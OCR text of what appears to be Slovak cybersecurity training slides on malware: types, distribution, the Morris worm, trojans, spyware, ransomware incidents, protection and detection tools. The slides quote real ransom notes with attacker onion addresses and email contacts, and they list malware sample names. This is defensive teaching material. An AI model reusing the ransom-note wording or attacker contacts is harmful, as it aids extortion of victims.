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Vzdelavacia aktivita (l.)

= Casovy harmonogram
= (08:30-10:00-1. blok
" 10:00-10:15 — prestavka
= 10:15-11:45-2. blok
= 11:45-12:45 — prestavka
= 12:30-14:00- 3. blok
= 14:00-15:30-4. blok



Vzdelavacia aktivita (Il.)

Cislo

modulu

Modul ¢.
Modul &.
Modul &.
Modul ¢.

Modul c.

Modul €.

Modul c.

1

2

vi B W

Nazov modulu

Uvod do kybernetickej a informaénej bezpeénosti (KIB)
Kritické myslenie a dezinformacie

Socialne inzinierstvo

Bezpecnost prevadzky a rieSenie kybernetickych incidentov
Digitalna identita a sukromie v online prostredi

Zaklady prava informacnych a komunikacnych technolégii pre
KIB I.

Zaklady prava informacnych a komunikacnych technolégii pre
KIB II.

Casova
dotacia (45
min.)

O 00 o 00 O

Forma stretnutia

Online / Prezencne
Online / Prezencne
Online / Prezencne
Online / Prezencne

Online / Prezencne

Online / Prezencne

Online / Prezencne




“ Ggcxe Skodlivy kéd (1.)

' ° Manipulécia : )

Malvér s informaciami RanSomVer
| (vydieracsky
softvér)
= Qg
Hrozby " . ) ' =
socialneho Utoky na /_\
inZinierstva dodavatel'sky [ ——
y U retazec w—y
© a8—h Y \
— . &
: Hrozby voci ,
Hrozby proti o ,
dostugr?osti udajom Utoky na

dodavatelsky rtazec

Zdroj: ENISA Landscape 2024, https://www.enisa.europa.eu/publications/enisa-threat-landscape-2024
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Ransomware ve francouzskeé
nemochnici zablokoval pocitace.
Personal se vratil k tuzce a papiru

Karel Kilian SDILET NA FACEBOOKU
26, listopadu 2019 | @ TweEmvou

Ransomware froze more cities in 201
Next year is a toss-up

More than 70 state and local governments across the US suffered
ransomware attacks in 2019.

!:7 Alfred Na ©7 December 5, 2019 5:00 AM PST ;)

Holandsku univerzitu ochromil na Vianoce kyberneticky utok

.

__,v x ; i —§ &l - "y
. : - | P & w -f 1 L Boodoe o
Ib oy - : ol T S B W7 TS W
Zdroj: https://www.infosecurity-magazine.com/news/french-hospital-crippled-by/, https://www.cnet.com/culture/ransomware-devastated-cities-in-2019-officials-hope-to-stop-a-repeat-in-2020/, https://digitalportal.sk/holandsku-

univerzitu-ochromil-na-vianoce-kyberneticky-utok/, https://www.zive.cz/clanky/ransomware-ve-francouzske-nemocnici-zablokoval-pocitace-personal-se-vratil-k-tuzce-a-papiru/sc-3-a-201359/default.aspx
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Y Zdroj: http://usa.kaspersky.com/internet-security-center/internet-safety/Malware-remover-vs-antivirus-software#.V2nAEriLSW8/
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= Zadné vratka — pristup do
pocitaca odkialkolvek

- TaZenie kryptomien
» Sucast botnetov

= Pristup k uctom

= Zasielanie udajov

= Stiahnutie dalsieho skodlivého
kodu

A4

= Sifrovanie a vykupné

Zdroj: https://www.heise.de/news/Malware-saugte-Nutzerdaten-bel~
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1. Vytvorenie
malvéru

N\ 2. Distribucia

\

Phishingové  Trdjsky

emaily

Zdroj: Martina Pivarnikovd, CSIRT.SK

Riadiaci
server

Infikované

webstranky

Malvér

_ 4, Vzdialené ovladanie zariadeni,
~ posielanie ukradnutych dat...

3. Infikovanie .
zariadeni

A

Socialne
siete

. _~ Botnet

Obet Utoku
botnetu



" Phishingové emaily

= Nebezpecné webové stranky

| GET IT ON
P> Google play

S App Store

c.‘.o >
' 7

Password:

Zdroj: https://d32exi8v9av3ux.cloudfront.net/blog/Phishing2.2.png

10



= Reklamy vo webovych strankach

» Upload/download dokumentov

Zdroj: http://guides.uufix.com/wp-content/uploads/2017/06/adware.png



= Nezabezpecend siet

= Fyzicky pristup k pocitacu (cez USB kluce

Zdroj: https://www.welivesecurity.com/wp-content/uploads/2016/03/Ton-Snoei-623x410.jpg 12
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Distribtcia malvéru (IV.)

ey

- @

AaBbCcDdEe | AaBbCcDdEe AaBhbhCcDc % #
Paste B I U -3 x, x° 7~ _A_' i Normal |7 No Spacing Heading1 | _ Change Editing
> J - Styles ~ v
Clipboard Fom Paragraph Styles
I | Security Warning Macros have been disabled. | Enable Content X
5
This document created in earlier version of
Microsoft Office Word
To view this content, please click "Enable editing” at the top
yellow bar, and then click "Enable content”
v
E
Q
¥
Page: 1 of 1 | Words: 0 | <5 | = 90%(— » (+

Zdroj: https://www.vdalabs.com/2017/11/27/modern-phishing-attack-part-1-malware-delivery/
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: https://any.run/




Rozne typy:

Backdoor

Bitcoin Miner / Stealer
Click Fraud

DoS

Downloader / Dropper
Ransomware

Remote Access Tool

Typy malvéru (l.)

15
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MALWARE TRENDS TRACKER

Most known malware from all over the cybersecurity world L Sl Trojan ‘NA "\JI I"'n‘__i‘_w';"‘-.‘___i_ A E Lz
2 Tycoon2FA Phishingkit v 2 94702
Search by malware name... A
3 Agent Tesla Trojan o~ . A 3 50094
4 njRAT Trojan e A 6 47984
5 RedLine Stealer e I- LA 7 45494
6 Lumma Stealer N i 8 40656
7 Remcos Trojan e 10 37217
8 WannaCry Ransomware - /,\!."""\ ,.m"-"‘\\.. 12 37151
9 AsyncRAT RAT e ./ . 13 36006
10 EvilProxy Phishingkit a 14 31362

Zdroj: https://any.run/malware-trends/ 11 Formbook Spyware POV L M o 15 27655



Typy malvéru

Qakbot 5.43% —\

Metaencryptor 5.43% —\
/— Agent Tesla 21.74%

GuLoader 5.43%—\

DArkGate 5.43% —__

capraRAT 5.43%

“——— Formbook 13.04%

Remcos RAT 7.61% ——

RedLine 9.78% —/ \_ Vidar 10.87%

Lumma 9.78% —]

Zdroj: ENISA Landscape 2024, https://www.enisa.europa.eu/publications/enisa-threat-landscape-2024

(111.)

Malware
©Agent Tesla

@Formbook
OVidar

JLumma
O RedLine
@Remcos RAT
@capraRAT
@®DArkGate
®Guloader

Metaencryptar

©Qakbot
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Virus a €erv (l.)

Virus (virus)

Find Movies, TV shows, Celebrities and more v
. ! g A m Movies, TV . Celebs, Events - News & ) . Watchlist
| Prl pOJenIe k rOZ nym programom a & Showtimes & Photos Community
S p uste n ie ko,d u FULL CAST AND CREW USER REVIEWS IMDbPro MORE SHARE
= Sirenie pomocou ludskej aktivity + Zero Days (2016) Y 7.8 | e
(SpUStenie programu’ Otvorenie PG-13 1h 56min Documentary 8 July 2016 (USA)
suboru) '
Vs v VAR AT ] ‘ "R : = IRy VS '~-\‘-;§:\ ",:
Pocitacovy cerv (computer worm) | ke { e
= Zatazuju pocitaCové siete alebo R
pretazuju sietove sluzby e ir e BT
= Schopnost samostatne sa replikovat a : AER s
§|,rit, Sa mostatne A documentary focused on Stuxnet, a piece of self-replicating computer malware that the U.S.
and Israel unlezt)shfad to destroy a key part of an Iranian nuclear facility, and which ultimately
- Prllklad el Stuxnet _ 2010 _ Ira/nsky spread beyond its intended target.
7 Director: Alex Gibne
vladny program Wrkter: Alex Glbney

Zdroj: https://www.imdb.com/title/tt5446858/



Zdroj: https://www.artstation.com/artwork/3r




" GkeKB Na pociatku b

* Okolo 20:30 hod. 2. novembra 1988 sa na
internete z pocitaca na Massachusetts Institute
of Technology (MIT) spustil zakerne Sikovny
program.

* Tento kyberneticky cerv sa coskoro Siril
pozoruhodnou rychlostou a zastavoval
pocitace.

e Arpanet - vyvinuty Agenturou pre pokrocilé

vyskumné projekty Ministerstva obrany USA
koncom 60. rokov 20. storocia

Zdroj: https://web.archive.org/web/20080206220309/http://www.time.com/time/magazine/article/0,9171,968884,00.html

ol Cerv (Il.)

IN PARTMERSHIP WITH
cm SEARCH

Mew!
HOME u.s. WORLD BLOGS BUSINESS & TECH GLOBAL BUSINESS HEALTH & SCIENCE

"The Kid Put Us Out of Action"

It is one of the least publicized achievements of the computer

revolution: a huge, arching communications network connecting & Prn
60,000 computers by high-speed data links and ordinary telephone & Emai
lines. Developed by the U.S. Department of Defense's Advanced F!jr-r:.s
Research Projects Agency in the late 1960s, Arpanet, as the T ;::;

information grid is called, has carried everything from unclassified -
military data to electronic love notes sent from one lonely researcher o

to another. But last week it became the conduit for something much

more dramatic: one of the most sophisticated and infectious computer viruses the world has

vet seen.

RELATED ARTICLES The trouble surfaced in computer centers at two institutions
that serve as major network links: M.L.T. and the University
of California, Berkeley. Last Wednesday night computers at

both centers started furiously generating unwanted electronic files, clogging up their storage

systems and slowing operations to a crawl. Almost immediately, similar problems began
turning up at other centers throughout the network, from the Naval Research Laboratory in

Washington to New Mexico's Los Alamos National Laboratory. Within hours, operators shut

down thousands of machines across the country to quarantine them, severing their

connections to other computers and rendering produective work all but impossible.

Last week's infection was the latest manifestation of an epidemic of viruses that has struck the
U.S. in the past vear. Similar to its biological counterpart, an electronic virus is a program that
copies itself by taking control of a computer's internal machinery. Unlike more malicious
versions, the new virus did not destroy data stored in computers, but it did disrupt the work of
tens of thousands of researchers hooked into Arpanet. It also penetrated unclassified branches
of a second, more secure network called Milnet, which is used by military researchers. Said a

Government computer expert: "The kid simply put us out of action.”
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"Momentalne sme pod utokom," napisal “@al S

znepokojeny student Kalifornskej univerzity v i o

Berkeley v e-maile neskor v noci. L

»,0O 1:05 prenikol cerv do Narodného | ? .’

laboratdria Lawrence Livermore National el

Laboratory, miesta zodpovedného za o @

zabezpeclenie jadrového arzenalu krajiny,” oS 0 -
napisal Shapiro vo Fancy Bear Goes Phishing. ?:‘132228155’ e e T

Zdroj: https://www.fbi. gov/hlstory/famous cases/morrls worm

_Coskoro sa ¢erv zahrabal do Narodného Do 24 hodin bolo zasiahnutych
laboratoria Los Alamos v Novom Mexiku, kde odhadom 6 000 z priblizne 60 000
sa nachadzal projekt Manhattan a prvé pocitacov, ktoré boli vtedy pripojené
atomové bomby na svete. Robertov genialny na internet.

projekt sa uz nezdal taky genialny.”
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Cerv sa &iril $tyrmi mechanizmami:

cez chybu v Sendmail,

prostrednictvom chyby v programe Finger,
prostrednictvom funkcie ,,déveryhodnych
hostitelov®, ktora umoznuje pouzivatelom
z jedného systému pouzivat iny systém
bez hesla.

cez heslo utok hrubou silou.

Zdroj: https://www.artstation.com/artwork/3rOVY

¥ master ~

O 000D Do DO O kW

¥ 1branch @ 0tags

arialdomartini The decompiled C source code of Morris Worm

cracksome.c The decompiled C source code of Morris Wor
hs.c The decompiled C source code of Morris Wor
makefile The decompiled C source code of Morris Wor
net.c The deco s ~ o
87 fale]
stubs.c The deco 88
89
worm.c The deco -
o1 e &ke
worm.h The deco , .
92 ndom({
93 2
wormdes.c The deco
x8113550.c The deco 3
t 18@
182
11

Na pociatku bol cerv (IV.)

nextw > @)

ago
ago
ago
ago
ago

ago
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 Robert Tappan Morris
e Dostal pokutu 10.050 S, 400

hodin verejnoprospesnych prac a

trojrocnu podmienku.

* Odhadovalo sa, ze na vycCistenie
po Cervovi bolo na infikované
zariadenie potrebnych 200 az
53.000 S.

Zdroj: https://scholar.google.com/scholar_case?case=551386241451639668

Na pociatku bol cerv (V.)

928 F.2d 504 (1991)

UNITED STATES of America, Appellee,
V.
Robert Tappan MORRIS, Defendant-Appellant.

MNo. 774, Docket 90-1338.
United States Court of Appeals, Second Circuit.

Argued December 4, 1990
Decided March 7, 1991.

Thomas A. Guidoboni, Washington, D G, for defendant-appellant.

Ellen R. Meltzer, U.S. Dept. of Justice, Washington, D.C. (Frederick J. Scullin, Jr.,

U.S Atty, Syracuse, N.Y., Mark D. Rasch, U.5. Dept. of Justice, Washington, D.C,

on the bref), for appelles.
Before NEWMAN and WINTER, Circuit Judges, and DALY District Judge.:]
JON O, NEWMAN, Circuit Judge:

This appeal presents two narrow issues of statutory construction concerning a
provision Congress recently adopted to strengthen protection against computer
crimes. Section 2(d) of the Computer Fraud and Abuse Act of 1986, 18 US.C. §
1030(a)(5)(A) (1988), punishes anyone whao intentionally accesses without
authorization a category of computers known as "[flederal interest computers” and
damages or prevents authorized use of information in such computers, causing
loss of 51,000 or more. The issues raised are (1) whether the Government must
prove not only that the defendant intended to access a federal interest computer,
but also that the defendant intended to prevent authorized use of the computer's
information and thereby cause loss; and (2) what satisfies the statutory
requirement of "access without autharization "
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The Morris Internet Worm
source code

Thas diak comaim the complete souce code of the Morris Internet

P L e This tivy,
fhe Internet b andetil) on

-l program brought Large preces of
) Noverber 2, 1988

The wenta was e st OF sy IMIFIVO progiums Wil e the

Laaenat tor sprend
Vi U osmnuntes Hisiary Msosan

Na potiatku bol &erv (VI.) _'

PI CORE/DUAL

Robert Morris

Professor
EMAIL PHONE ROOM
rtm@csail.mit.edu 253-5983 32-G972

Robert Morris is a professor in MIT's EECS department and a member of the
Computer Science and Artificial Intelligence Laboratory. He received a PhD
from Harvard University for work on modeling and controlling networks with
large numbers of competing connections. As a graduate student he helped
design and build an ARPA-funded ATM switch with per-circuit hop-by-hop
flow control. He led a mobile communication project which won a best student
paper award from USENIX. He co-founded Viaweb, an e-commerce hosting
service. His current interests include modular software-based routers, analysis

of the aggregation behavior of Internet traffic, and scalable ad-hoc routing.
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Zdroj: https://en.wikipedia.org/wiki/Morris_worm#/media/File:Morris_Worm.jpg, https://www.csail.mit.edu/person/robert-morris
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= Mission Statement
» History

m Sustainable Development
Goals
Organization
FIRST Policies
Partnerships
Newsroom
Procurement

m Jobs

m Contact

FIRST History

About FIRST Membership Initiatives Standards & Publications

In November 1988, a computer security incident known as the "Internet worm" i
Reaction to this incident was isolated and uncoordinated, resulting in much dup
the CERT* 2 Coordination Center was formed. Soon after, the United States Dej
Advisory Capability (CIAC) L= to serve its constituents.

Over the next two years, the number of incident response teams continued to g|
requirements, and constituency. The interaction between these teams experien:
and international standards or conventions. In October 1989, a major incident ¢
communication and coordination between teams.

The FIRST was formed in 1990 in response to this problem. Since that time, it ha
changing needs of the incident response and security teams and their constitue

By 2002, the Internet had grown from 60,000 host computer systems to 150 mill
Domain Survey [Z at the Internet Software Consortium). Many companies now r
Incident response and security teams continue to form around the globe, coveri
multi-national organizations. The FIRST membership consists of teams from a w

commercial, vendor, government and military.

Zdroj: https://www.kb.cert.org/vuls/, https://www.first.org/about/history

Events

"';,;@! in| f O.
Education

Blog

Carnegie Mellon University

Software Engineering Institute

CERT Coordination Center

Home Notes Search Report a Vulnerability

Vulnerability Notes Database

Recently Published Vulnerabilities

VU#347067: Multiple BGP implementations are vulnerable to improperly
formatted BGP updates

SEPTEMBER 12, 2023

VU#304455: Authentication Bypass in Tenda N300 Wireless N VDSL2
Modem Router

SEPTEMBER 06, 2023

VU#757109: Groupnotes Inc. Videostream Mac client allows for privilege
escalation to root account

Search vulnerability notes

Disclosure Guidance VINCE

The CERT/CC Vulnerability Notes
Database is run by the CERT Division,
which is part of the Software
Engineering Institute, a federally
funded research and development
center operated by Carnegie Mellon
University. Together, we are leaders in
cybersecurity, software innovation,
and computer science.

CERT DIVISION »
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Trojsky kon
* Umoznuje inym osobam vzdialeny
pristup k infikovanému zariadeniu
= Zvukové alebo video doplnky (plug-iny)
Sirenie pomocou ludskej aktivity
(spustenie programu, otvorenie suboru)

ab

TROJAN.FLOXIF

lcon by Freeoik - freapik com

CCleaner 5.33.6162

W Phone - Wikiped, the - |
Adwa re . . : . Create account dLj:in Q
= Automaticky poskytuje reklamu L i —
[ ]
m Wikipedia, the free ency ia

WIKIPEDIA
The Free Encyclopedia

= Napr. pop-up reklamy na webovych | 222
strankach S

llllll

Zdroj: https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png,
https://sensorstechforum.com/ccleaner-trojan-nyetya-malware-remove/



https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
https://commons.wikimedia.org/wiki/File:Trojan-Horse-Virus-Remover.png
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* Nanocore

nanocore trojan rat loader

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with
plugins which allow attackers to tailor its functionality to their needs. Nanocore is
created with the .NET framework and it's available for purchase for just $25 from its
“official” website.

P Type Q Origin
Trojan USA

ﬁ First seen o Last seen
1 January, 2013 3 December, 2020

Global rank

4

LAST SEEN AT

3 December, 2020 i wi dfgn.exe
3 December, 2020 i wi dfgn.exe
3 December, 2020 ' wi dfgn.exe
3 December, 2020 ' i adsense_setup.exe

3 December, 2020 ' wi joshrat.exe

Zdroj: https://any.run/malware-trends/nanocore, https://app.any.run/tasks/454b93d0-08bc-400c-8c66-0fd6980bceba/

Week rank

Trojsky koén (I1.)

Month rank

™5

10Cs

885/
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Spyware (l.)

Spyware

= Sleduje aktivity pouzivatela bez jeho
vedomia a zhromazduje o nhom udaje

Keylogger

® Zaznamenava vsetko, o pouzivatel zada
na svojom zariadeni

" Napr. prihlasovacie mena, hesla a dalsie
citlivé udaje

" 2 typy - softvérové a hardvérové
keyloggery
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* Agent Tesla

agenttesla trojan rat stealer

Agent Tesla is spyware that collects information about the actions of its victims by
recording keystrokes and user interactions. It is falsely marketed as a legitimate
software on the dedicated website where this malware is sold.

P Type Q Origin
Trojan Likely Turkey

ﬁ First seen © Last seen
1 January, 2014 3 December, 2020

Global rank

2
LAST SEEN AT

3 December, 2020 C ivi 400000.Payment advise_pdf

3 December, 2020 C ivi Payment advise_pdf

3 December, 2020 ' Vi company details.pps

Zdroj: https://any.run/malware-trends/agenttesla, https://app.any.run/tasks/f5c4395c-3a53-47c8-9481-29caa2734c77/

Spyware (ll.)

Week rank

™4

Month rank

V4
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Ransomver

Sifrovanie Udajov

Vykupne - BitCoin
Zablokovanie PC
Nemoznost desifrovat data
Mazanie suborov

Slaba ochrana

Zalohovanie

Zname priklady — Locky, Petya,
Goldeneye

Zdroj: ENISA Threat Landscape 2020, ENISA, 2021.

Ransomveér (l.)

__Incidents

The Baltimore County incident'

Alabama hospitals attack?

Lodi California City incident

Texas (Texas Department of Information Resources) incident’
Lake City (Florida) Ryuk attack®

New Belford (Massachusetts) incident®

Ransomware attacks on > 500 schools and universities®
Wood Ranch Medical (California) case~

Michigan Brookside ENT and Hearing Centre incident=
Gippsland Health Alliance and the South West Alliance of Rural
Health (Australia) incidents™

Premier Family Medical group (Utah) incident=

MSPs PM Consultants, CloudJumper, Datto, PercSoft, TSM
Consulting Services Inc. and IT By Design incidents™
Microsoft Azure data centre incident™

Altran Technologies LockerGoga attack™

Norsk Hydro LockerGoga attack’

Hexion and the Momentive LockerGoga attacks™

Albany IT incident™

Jackson County (Georgia) incident™

Riviera Beach (Florida) incident™

New Orleans incident®

Danish hearing aid manufacturer Demant attack™ 30
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The harddisks of your computer have been encrypted with an military grade
encryption algorithmM. There is no way to restore your data without a special
key. You can purchase this key on the darknet page shown in step 2.

To purchase your key and restore your data, please follow these three easy
steps:

1. Download the Tor Browser at "https://uwuu. torproject.orgs". If you need
help, please google for "access onion page’.

2. Visit one of the following pages with the Tor Browuser:

http:7//petya37hS5tbhyvki.onion/N19fvE
http://petyaSkoahtsf7sv.onion/N19fvE

Enter your personal decryption code there:

SS5SbhAS g » Lall ST P4 ) Y gl gya
THoAU T - N i YR -

If you already purchased your key, please enter it below.
Rey: _

https://krebsonsecurity.com/2017/06/petya-ransomware-outbreak-goes-global/
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Elektronicka komunikacia "InStalacia™

S

.......

'w.’”. oo ‘ -

D e A SRR ¥ )

Elektronicka komunikacia

Falosné webové sidlo
www.financnasprava.digital

Skutocné weboveé sidlo
Financnej spravy

Zdroj: https://touchit.sk/skodlivy-kod-zneuzivajuci-financnu-spravu-ziada-vykupne-900-eur-peniaze-pyta-vlastnou-hlavou/101911
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- HleLocker

VSECHNA VASE OSOBNI DATA
BYLA NANESTESTI PRO VAS
KOMPLETNE ZASIFROVANA

Informace | Krok 1 - PLATBA | Krok 2 - Informujte nas | Step 3 - Obnova dat

Vime jak mocny je Vas pravni zastupce, ze znate osobne starostu a nacelnik mistni policejni stanice je V
pribuzny ale nepormuze Vam nic a nikdo mimo nas.

Po uhrade zaslete email s timto textem:
1. Sifrovaci klic z ruzoveho pole.
2. Castku kterou jste presne zaplatili.

Nase emailova adresa: vlastnou.hlavou@mailfence.com
Sifrovany klic:

NFfCSCOPEJMUX/BS3Mx5f1ojl3ipdqkCyOgaxiCedrdbzz53Lp1cQSI0VBPEKadtMV/ysLo72hlAja

Kopirovat klic z pole

3. Vyckejte az Vam zasleme klice k odsifrovani max. behem 6 hodin od provedene platby a pokracuijte k
kroku cislo 3.

Castka k uhrade: 0.8 BTC

Zdroj: https://touchit.sk/skodlivy-kod-zneuzivajuci-financnu-spravu-ziada-vykupne-900-eur-peniaze-pyta-vlastnou-hlavou/101911




Email: servis@financnasprava.digital
0,8 B =cca 900€

Dodatok:

“I nam jde o profesionalni klientsky
servis a reputaci na trhu, proto se
budeme snazit odemknout Vase
soubory co nejdrive”

Ransomveér (V.)

MY WORK HERE 1S DONE

FINANENA SPRAVA ODPORUCA RIADNE PLATENIE DANI. ZA RIADNE ODVEDENIE DANE VAM DAKUJU:

- VLASTOU HLAVOU
- KALIHO NOS

- KLINIKA KOSTKA

- TETA ANKA

- DLH V&zpP

- VAHOSTAV

- VILA BONAPARTE

- SLOVENSKE PREDSEDNICTVO

ainé

PRISPEJTE AJ TENTO ROK, ABY BOLO Z COHO KRADNUT

Zdroj: https://touchit.sk/skodlivy-kod-zneuzivajuci-financnu-spravu-ziada-vykupne-900-eur-peniaze-pyta-vlastnou-hlavou/101911
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wannacry ransomware

WannaCry is a famous Ransomware that utilizes the EternalBlue exploit. This malware
is known for infecting at least 200,000 computers worldwide and it continues to be an
active and dangerous threat.

F¥ Type Q origin

Ransomware Likely North Korea

@8 First seen © Last seen
12 May, 2017 3 December, 2020

ALSO KNOWN AS

WCry

WanaCryptor
Global rank

19
LAST SEEN AT

3 December, 2020 2 ivi wannacry.exe

3 December, 2020 C ivi mal.exe

3 December, 2020 2 ivi WannaCry by Rafael.rar
3 December, 2020 C ivil WANACRYPTOR.exe

3 December, 2020 i vit WANACRYPTOR.exe

Zdroj: https://any.run/malware-trends/wannacry

Ransomveér (VI.)

Week rank

™6

Month rank

10
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Ransomveér (V.II.)

Kraken 2.0.7.exe | INFO

INTERACTIVE MALWARE ANALYSIS SERVICE
New task

B Public tasks evasion ransomware  kraken

® FAQ

Malicious activity

https://app.any.run/tasks/32186bb2-60c2-4980-8bf8-4b2742697df4/

-7 SPIDER.doc | NFO

4 /

generated-doc  ransomware  spider

D History

Malicious activity

@ Profile

 Log 0wt https://app.any.run/tasks/997c3dc0-bl4e-441c-a4b3-c952718dc9fc/
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T Ransomvér (VIII.)

il Ransomware Statistics for 2025

Total Victims for 2025: 6620

Total Groups: 297

Top 10 Groups

[ Victims per Group

qgilin

akira

clop

play

incransom

safepay |

lynx

ransomhub |

babuk2 |

dragonforce

0 100 200 300 400 500 600 700 800

Zdroj: https://www.ransomware.live/stats
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9 All ransomware notes by groups

@ Note

> Ransomware notes are provided by Zscaler ThreatLabz under MIT License

8base abysslocker akira alphv atomsilo
biglock bitpaymer bitransomware blackbasta blackbyte
cactus cartel cerber chilelocker cloak
crytox ctblocker cuba dagonlocker darkangels
dharma diavol donut doppelpaymer dragonforce
gwisinlocker hOlyghOst hades hive hunters
karma knight lapiovra lilith lockbit
makop mallox maze medusa medusalocker
nevada noescape nokoyawa noname novagroup
quantumlocker = ragnarlocker ragnarok rancoz ransomexx
relic revil rhysida rook royal
slug snatch stop sugar suncrypt
vohuk wastedlocker xorist yanluowang zeon

ast ubdate : Thursdav 14/03/2024 20.59 (UTC)

Zdroj: https://www.ransomware.live/

Rénsomvér .(IX.).

avaddon
blackhunt
clop
darkbit
echOraix

icefire

locky

moneymessage

phobos
ransomhouse
rtmlocker

teslacrypt

avoslocker
blackmatter
conti
darkpower
esxiargs
inc
lorenz
monti
play
ransomhub

ryuk

trigona

azov
blacksnake
cryptnet
darkside
ftcode
incransom
luckbit
nefilim
prometheus
ranzy
scarecrow

u-bomb

beast
blacksuit
cryptomix
dataleak
gandcrab
jaff
lv
nemty
qgilin
raworld
schoolboys

underground

bianlian
bluesky
Cryptxxx
deadbydawn
grief
karakurt
magniber
netwalker
glocker
redalert
shadow

vicesociety
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& Ransom notes for group play

| @ play

e ReadMe.txt

PLAY

news portal, tor network links:
mbrlkbtgSjonagkurjwmxftytyn2ethgvbxfu4rgjbkkknndgwaebbyd.onion
k7kg3 jgxang3wh7hnmaiokchk7qoebupfgoik6rhaémjpzwupwtj25yd.onion

derdiarikucisv@gmx.de
* playtxt

PLAY

teilightomemaucd@gmx.com

Zdroj: https://www.ransomware.live/

Ransomveér (X.) |

& Ransom notes for group medusa

I @ medusa @ medusa

o |IIREAD_ME_MEDUSA!!Ltxt

$$\ $S1 S55555851 $858888 S8L S8\ 588885\ 888885\

$85\ $88 188 _____ 88 __88\ 85 | 85 |88 __S8S5\ 88 __s$\
$858\  S58S8S |8S | 851 SS ISS | S5 IS8/ \__ISS/ SS |
$5185\55 S5 88888\ $5 1 85 |85 | S5 |\555585\ 58858885 |
$S\885 SS ISS __| S5 | SS ISS | S5 | N____88\. 85 __8S8 |
$§ I\S /8S 188 | 851 SS ISS | S5 IS5\ S8 IS8 | S8S |
$8 | \_/ S5 |S555555S5\ $85558S | \SSSS8S  |\S8SS8S ISS | S8S |
] | VY | VE—— Y !/ \ J \ P VO [ |
----------------------------- [ Hello, [snip] !!! Je=memmmmm e

1. We have PENETRATE your network and COPIED data.
* We have penetrated entire network including backup system and researched all about your data.

* And we have extracted all of your networks including sub offices and your service clients networks valua

2. We have ENCRYPTED some your files.

While you are reading this message, it means you found your files and data has been ENCRYPTED by world's si
We have access to all of your sub offices and client service networks but didn't lock them all for your br:
We can solve this issue sliently and smoothly without 3rd parties and we decided lock only some of your ma:

But don't worry, we can restore everything to the original without harming your business.

There is only one possible way to get back your systems and business - CONTACT us via LIVE CHAT and pay fo
MEDUSA DECRYPTOR and DECRYPTIOMN KEYs, Data deletion, Keep silent in media.
This MEDUSA DECRYPTOR will restore your entire network, This will take less than 1 business day.
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Ransomveér (XI.)

PLAY NEWS CONTACT

$ 100000
Play ransomware

, read the FAQ page. S I
https://lwww.darkreading.com/remote-workforce/rackspace-massive-cleanup-costs-ransomware-attack t e e
During the leak, we will inform your partners and customers with a link to their data.

Services Hily 3 1 1 3 8 3 4

United States
www
© views: 26845
added: 2023-11-02
publication date: 2023-11-07
PUBLISHED

Craft
United States

www
© views: 26828
added: 2023-11-02

publication date: 2023-11-07
PUBLISHED FULL

Br
United States
www.brodart.com
© views: 27322
added: 2023-10-30
publication date: 2023-10-30
PUBLISHED FULL

Online
United States
wWww.
© views: 27882
added: 2023-10-28
publication date: 2023-11-03
PUBLISHED FULL

United States
www
©O views: 26944
added: 2023-11-02
publication date: 2023-11-07
PUBLISHED FULL

JD
United States

www

© views: 26801

added: 2023-11-02

publication date: 2023-11-07
PUBLISHED FULL

Het)
Belgium
www.het-veerbe
O views: 27791
added: 2023-10-28
publication date: 2023-11-03
PUBLISHED

Dn
United States
www
O views: 27741
added: 2023-10-28
publication date: 2023-11-03
PUBLISHED FULL

United States
www
© views: 26948
added: 2023-11-02
publication date: 2023-11-07
PUBLISHED FULL

Bry
United States

www.bry-air.com
© views: 27010
added: 2023-11-01
publication date: 2023-11-09
PUBLISHED FULL

United States
www
© views: 27809
added: 2023-10-28
publication date: 2023-11-03
PUBLISHED FULL

Bus
United States
www
© views: 27897
added: 2023-10-28
publication date: 2023-11-04
PUBLISHED FULL

DAYS HOURS MINUTES SECONDS

States and has 10 employees.

Denn

Desco Steel was incorporated in 1991, selling a wide variety of
structural steel products. Desco Steel corporate office is located in
270 Lancaster Ave Ste G2, Malvern, Pennsylvania, 19355, United

Center

Kenneth Young Center is a community-based non-profit,
comprehensive provider of mental health and senior citizens’
support services. Kenneth Young Center corporate office is
located in 1001 Rohlwing Rd, Elk Grove Village, Illinois, 60007,
United States and has 200 employees.

118:19:15 762 4P
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hLliOHaIbHe YrpyrnoBaHHA XakepiB Y po3MnoBCOKeHHI Bipycy <EMOTET»

Medzinarodny policajny tim rozvratil notoricky znamy botnet Emotet

zrief neskor - Zdiefat

Zdroj: cybersec.sk/spravy/zo-sveta/medzinarodny-policajny-tim-rozvratil-notoricky-znamy-botnet-emotet/
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Ochrana voci malvéru

= Ochrana zariadeni pripajajucich sa do
viacerych sieti

= Antivirusovy program
= Nastavenia operacného systému

" Pripojenie do siete organizacie cez VPN
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NO MORE RANSOM

Decryption Tools

Dekryptor

https://www.nomoreransom.org/

Partners About the Project English v

Home Crypto Sheriff Ransomware: Q8&8A Frevention Advice Decryption Tools

Reporta Crime

IMPORTANT! Before downloading and starting the solution, read the how-to guide. Make sure you remove the
malware from your system first, otherwise it will repeatedly lock your system or encrypt files. Any reliable antivirus
solution can do this for you.

(Q  Quick Search...

>

>

777 Ransom

AES_NI Ransom

43



" porovnhanie voCi
signature znamych
vzoriek

* mala chybovost, ale

nedeteguje nezname
vzorky

Detekcia malvéru

= podla pouzivanych
systémovych zdrojov
sa rozhodne, Ci pojde
o0 malvér

= detekcia novych a
mutujucich typov

= na klasifikaciu, Ciide o
malvér, sa pouziva
strojové ucenie
(machine learning)
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File

KB

> ] virusTotal

Analyze suspicious files and URLs to detect types of malware,

automatically share them with the security community.

URL Search

Choaose file

By submitting your file to WirusTotal you are asking VirusTotal to share your submission with the security
community and agree to our Terms of Service and Privacy Policy. Learn more.

Nastroje

ANALYSIS

X File/URL X File Collection Q Report Search = YARA Search = String Search

This is a free malware analysis service for the community that detects and analyzes
unknown threats using a unique Hybrid Analysis technology.

Drag & Drop For Instant Analysis
or

http://www.example.com/suspicious.zip @

Maximum upload size is 100 MB.
Powered by CrowdStrike Falcon® Sandbox.
Interested in a free trial?

Priklady: https://hybrid-analysis.com/sample/c378387344e0a552dc065de6bfa607fd26e0b5c569751c79fbf9c6f2€91c9807?environmentld=100
